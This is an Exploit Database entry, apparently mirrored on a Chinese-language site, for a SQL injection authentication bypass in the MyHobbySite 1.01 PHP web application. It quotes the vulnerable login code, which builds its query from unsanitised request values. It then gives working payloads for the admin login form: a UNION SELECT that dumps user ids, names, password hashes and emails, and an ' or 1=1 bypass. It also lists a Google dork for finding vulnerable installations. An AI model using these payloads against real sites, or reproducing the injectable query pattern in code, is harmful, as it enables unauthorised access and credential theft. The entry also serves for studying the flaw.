MyHobbySite 1.01 – SQL Injection / Authentication Bypass

• Exploit Database
• 49 阅读

• 作者： YuGj VN
  日期： 2010-09-12
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/14977/

• #########################################################################################
  # Exploit Title: MyHobbySite 1.01 SQL injection, Bypass Authentication Vulnerability
  # Date: 12-09-2010
  # Author: YuGj VN
  # Email: anhtuanittn.vn@gmail.com
  # Software Link: http://www.myhobbysite.net/index.php?page=15
  # Version: v1.01
  #########################################################################################
  
  Bug Code:
  if (isset($_REQUEST['username']) and isset($_REQUEST['password'])) {
  	// Get user info from the dataabse
  	$_REQUEST['username'] = trim($_REQUEST['username']);
  	$_REQUEST['password'] = trim($_REQUEST['password']);
  	$usersettings = @mysql_query("SELECT * FROM " . $CONFIG['database_table_prefix'] . "users WHERE username='$_REQUEST[username]' AND password=md5('$_REQUEST[password]')");
  	$usersettings = mysql_fetch_array($usersettings);
  	if ($usersettings) {
  		$_SESSION['logged_in'] = TRUE;
  		$_SESSION['userid'] = $usersettings['id'];
  		$_SESSION['user'] = $usersettings['username'];
  		$_SESSION['pass'] = $usersettings['password'];
  		$_SESSION['email'] = $usersettings['email'];
  		$_SESSION['permissions'] = $usersettings['permissions'];
  		UpdateLogs($usersettings['username'] . " logged into the Admin CP.");
  	} else {
  		$failed_login = TRUE;
  	}
  }
  
  #########################################################################################
  
  Exploit:
  
  link exploit:http://domain.com/admin/
  # Enter in username field: ' union select 1,concat_ws(0x3a,id,username,password,email),3,4,5 from mhs_users-- -
  # Enter in password field: ' union select 1,concat_ws(0x3a,id,username,password,email),3,4,5 from mhs_users-- -
  # or
  # Enter in username field: ' or 1=1-- -
  # Enter in password field: ' or 1=1-- -
  # 
  #
  # We can exploit only when magic_quote_gpc = Off
  # Google dork: Powered by MyHobbySite 1.01
  # 
  #
  #########################################################################################